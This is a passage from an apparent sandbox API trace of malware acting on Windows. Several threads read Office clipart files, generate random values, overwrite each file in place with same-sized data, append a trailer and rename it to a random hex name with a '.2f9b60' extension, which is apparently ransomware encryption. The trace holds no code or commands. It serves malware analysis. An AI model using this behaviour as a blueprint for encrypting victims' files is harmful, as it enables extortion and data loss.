Flags=0x8, Size=0x62) returned 0x1b857b80 [0163.682] RtlFreeAnsiString (AnsiString="3") [0163.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3340) returned 1 [0163.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac0b0) returned 1 [0163.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5780) returned 1 [0163.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a57b0) returned 1 [0163.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5750) returned 1 [0163.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5720) returned 1 [0163.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3370) returned 1 [0163.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3430) returned 1 [0163.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3460) returned 1 [0163.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb66f0 [0163.685] wcscat (in: _Dest=0x1cdb66f0, _Source="3998eba8aece" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3998eba8aece") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3998eba8aece" [0163.685] wcscat (in: _Dest=0x1cdb66f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3998eba8aece.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3998eba8aece.2f9b60" [0163.685] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3998eba8aece.2f9b60", NtPathName=0x2445fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3998eba8aece.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279af0 Thread: id = 2339 os_tid = 0x1cf0 [0149.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0149.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF", dwFileAttributes=0x20) returned 1 [0149.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2168 [0149.652] GetFileSizeEx (in: hFile=0x2168, lpFileSize=0x247dfb60 | out: lpFileSize=0x247dfb60*=2960) returned 1 [0149.653] SetFilePointerEx (in: hFile=0x2168, liDistanceToMove=0xb8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.653] ReadFile (in: hFile=0x2168, lpBuffer=0x247dfae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x247dfb28, lpOverlapped=0x0 | out: lpBuffer=0x247dfae0*, lpNumberOfBytesRead=0x247dfb28*=0x4, lpOverlapped=0x0) returned 1 [0149.654] SetFilePointerEx (in: hFile=0x2168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3400 [0149.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3490 [0149.655] NtQuerySystemTime (in: CurrentTime=0x247dfa20 | out: CurrentTime=0x247dfa20*=132462177548686000) returned 0x0 [0149.655] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x4b6ca76 [0149.655] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x1f763ba7 [0149.655] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0xa1297b9 [0149.655] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x4ab154c0 [0149.655] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x3f49a14c [0149.655] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x4a77bbb8 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x68a402b3 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x94c9dfd [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x24b2dd36 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x72a52f61 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x4a055e0a [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x599c259f [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x5e4f39e1 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0xd24abec [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x7325b9a1 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x1dbdffd6 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x65d1d0b3 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x3c11999f [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x49c10fbc [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x634b2da0 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x758022df [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x72afd86b [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x6c42ef3a [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x7b4cc14e [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0xa3123c4 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x36f5e038 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x3209f53f [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x4579e0a3 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x7327264e [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x955362 [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x5088ed1b [0149.656] RtlRandomEx (in: Seed=0x247dfa10 | out: Seed=0x247dfa10) returned 0x410ff39b [0149.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34c0 [0149.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a130 [0149.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34f0 [0149.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a130) returned 1 [0149.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3490) returned 1 [0149.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc70 [0149.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a130 [0149.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2040e2e0 [0149.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20411ef0 [0149.667] ReadFile (in: hFile=0x2168, lpBuffer=0x2040e2e0, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x247dfa10, lpOverlapped=0x0 | out: lpBuffer=0x2040e2e0*, lpNumberOfBytesRead=0x247dfa10*=0xb90, lpOverlapped=0x0) returned 1 [0149.668] SetFilePointerEx (in: hFile=0x2168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.668] WriteFile (in: hFile=0x2168, lpBuffer=0x20411ef0*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x247dfa14, lpOverlapped=0x0 | out: lpBuffer=0x20411ef0*, lpNumberOfBytesWritten=0x247dfa14*=0xb90, lpOverlapped=0x0) returned 1 [0161.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5930 [0161.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5960 [0161.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5960) returned 1 [0161.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20411ef0) returned 1 [0161.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2040e2e0) returned 1 [0161.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a130) returned 1 [0161.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0161.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5960 [0161.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc70 [0161.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a130 [0161.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5990 [0161.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5990) returned 1 [0161.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5990 [0161.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a59c0 [0161.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a59f0 [0161.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a59f0) returned 1 [0161.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a130) returned 1 [0161.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0161.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ac2f0 [0161.807] SetFilePointerEx (in: hFile=0x2168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.807] WriteFile (in: hFile=0x2168, lpBuffer=0x423ac2f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x247dfb30, lpOverlapped=0x0 | out: lpBuffer=0x423ac2f0*, lpNumberOfBytesWritten=0x247dfb30*=0x10a, lpOverlapped=0x0) returned 1 [0163.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f33d0 [0163.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f33d0) returned 1 [0163.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f33d0 [0163.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f33a0 [0163.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f33a0) returned 1 [0163.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.697] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="20") returned 2 [0163.697] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.697] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="4d") returned 2 [0163.697] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="67") returned 2 [0163.697] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.697] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="db") returned 2 [0163.697] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="2b") returned 2 [0163.697] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="b6") returned 2 [0163.697] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="bf") returned 2 [0163.697] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="ea") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="7d") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="a2") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="d2") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="79") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="3b") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="80") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="78") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="69") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.698] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="8a") returned 2 [0163.698] RtlInitAnsiString (in: DestinationString=0x247dfba8, SourceString="20eb4d678ddb2bb6bfea7da2d279e43b7c80780d690be38a" | out: DestinationString="20eb4d678ddb2bb6bfea7da2d279e43b7c80780d690be38a") [0163.698] RtlAnsiStringToUnicodeString (in: DestinationString=0x247dfb78, SourceString="20eb4d678ddb2bb6bfea7da2d279e43b7c80780d690be38a", AllocateDestinationString=1 | out: DestinationString="20eb4d678ddb2bb6bfea7da2d279e43b7c80780d690be38a") returned 0x0 [0163.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857c60 [0163.698] RtlFreeAnsiString (AnsiString="2") [0163.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f33d0) returned 1 [0163.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac2f0) returned 1 [0163.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5990) returned 1 [0163.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a59c0) returned 1 [0163.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5960) returned 1 [0163.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5930) returned 1 [0163.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3400) returned 1 [0163.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f34c0) returned 1 [0163.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f34f0) returned 1 [0163.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b14b0 [0163.701] wcscat (in: _Dest=0x202b14b0, _Source="20eb4d678ddb" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20eb4d678ddb") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20eb4d678ddb" [0163.701] wcscat (in: _Dest=0x202b14b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20eb4d678ddb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20eb4d678ddb.2f9b60" [0163.701] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20eb4d678ddb.2f9b60", NtPathName=0x247dfb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\20eb4d678ddb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 Thread: id = 2340 os_tid = 0x1cf4 [0149.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0149.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF", dwFileAttributes=0x20) returned 1 [0149.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x216c [0149.671] GetFileSizeEx (in: hFile=0x216c, lpFileSize=0x254af6e0 | out: lpFileSize=0x254af6e0*=2960) returned 1 [0149.671] SetFilePointerEx (in: hFile=0x216c, liDistanceToMove=0xb8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.671] ReadFile (in: hFile=0x216c, lpBuffer=0x254af660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x254af6a8, lpOverlapped=0x0 | out: lpBuffer=0x254af660*, lpNumberOfBytesRead=0x254af6a8*=0x4, lpOverlapped=0x0) returned 1 [0149.673] SetFilePointerEx (in: hFile=0x216c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3490 [0149.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3520 [0149.673] NtQuerySystemTime (in: CurrentTime=0x254af5a0 | out: CurrentTime=0x254af5a0*=132462177548842000) returned 0x0 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x37f14a41 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x285f16c4 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x47c80a34 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x23cbdfe7 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x5d24028b [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x5e29f2a0 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x74a75861 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x273845d7 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x362c2761 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x7062aae1 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x14931d55 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0xf1c154f [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x68e66c50 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0xcfa1fe4 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x59baf050 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x3d8c7fd7 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x3ce049dc [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x1669c1ba [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x4e7a970a [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x3dfed78 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x5edb1af2 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x2ebffad2 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x793192db [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x2eb41e30 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x6c9060ac [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x44f7f847 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x2d128a9 [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x7d66b25e [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x501a1d2c [0149.674] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x3ee14322 [0149.675] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x7254964f [0149.675] RtlRandomEx (in: Seed=0x254af590 | out: Seed=0x254af590) returned 0x610cf076 [0149.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3550 [0149.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0149.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3580 [0149.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0149.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3520) returned 1 [0149.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c440 [0149.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0149.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20415b00 [0149.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20419710 [0149.696] ReadFile (in: hFile=0x216c, lpBuffer=0x20415b00, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x254af590, lpOverlapped=0x0 | out: lpBuffer=0x20415b00*, lpNumberOfBytesRead=0x254af590*=0xb90, lpOverlapped=0x0) returned 1 [0149.696] SetFilePointerEx (in: hFile=0x216c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.696] WriteFile (in: hFile=0x216c, lpBuffer=0x20419710*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x254af594, lpOverlapped=0x0 | out: lpBuffer=0x20419710*, lpNumberOfBytesWritten=0x254af594*=0xb90, lpOverlapped=0x0) returned 1 [0161.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a59f0 [0161.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5a20 [0161.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5a20) returned 1 [0161.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20419710) returned 1 [0161.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20415b00) returned 1 [0161.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0161.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c440) returned 1 [0161.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5a20 [0161.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c440 [0161.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a0b0 [0161.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5a50 [0161.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5a50) returned 1 [0161.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5a50 [0161.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5a80 [0161.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5ab0 [0161.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ab0) returned 1 [0161.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a0b0) returned 1 [0161.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c440) returned 1 [0161.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ac410 [0161.813] SetFilePointerEx (in: hFile=0x216c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.813] WriteFile (in: hFile=0x216c, lpBuffer=0x423ac410*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x254af6b0, lpOverlapped=0x0 | out: 